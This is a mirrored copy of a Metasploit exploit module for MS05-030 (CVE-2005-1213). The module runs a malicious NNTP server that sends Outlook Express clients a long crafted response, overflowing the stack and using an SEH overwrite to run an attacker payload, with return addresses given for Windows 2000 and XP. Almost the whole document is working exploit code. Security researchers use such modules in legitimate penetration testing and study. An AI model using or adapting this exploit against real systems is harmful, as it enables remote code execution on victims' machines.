Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/nntp/ms05_030_nntp.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::TcpServer9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(update_info(info,13'Name' => 'MS05-030 Microsoft Outlook Express NNTP Response Parsing Buffer Overflow',14'Description' => %q{15This module exploits a stack buffer overflow in the news reader of Microsoft16Outlook Express.17},18'Author' => 'MC',19'License' => MSF_LICENSE,20'References' =>21[22[ 'CVE', '2005-1213' ],23[ 'OSVDB', '17306' ],24[ 'BID', '13951' ],25[ 'MSB', 'MS05-030' ],26],27'DefaultOptions' =>28{29'EXITFUNC' => 'process',30'AllowWin32SEH' => true31},32'Payload' =>33{34'Space' => 750,35'BadChars' => "\x00",36'MaxNops' => 0,37'StackAdjustment' => -3500,38'EncoderType' => Msf::Encoder::Type::AlphanumUpper,39},40'Platform' => 'win',41'Targets' =>42[43['Windows 2000 English SP0-SP4', { 'Offset' => 9624, 'Ret' => 0x75022ac4 }],44['Windows XP English SP0/SP1', { 'Offset' => 9596, 'Ret' => 0x71aa2461 }],45],46'Privileged' => false,47'DisclosureDate' => '2005-06-14',48'DefaultTarget' => 0))4950register_options(51[52OptPort.new('SRVPORT', [ true, "The NNTPServer daemon port to listen on", 119 ])53])54end5556def on_client_connect(client)57yup = "200\r\n"5859client.put(yup)60client.put(yup)61end6263def on_client_data(client)64return if ((p = regenerate_payload(client)) == nil)6566filler = "215 list\r\n" + "group "67filler << rand_text_english(target['Offset'])68seh = generate_seh_payload(target.ret)69sploit = filler + seh + " 1 y\r\n\.\r\n"7071print_status("Sending #{sploit.length} bytes to #{client.getpeername}:#{client.peerport}...")72client.put(sploit)7374handler75service.close_client(client)76end77end787980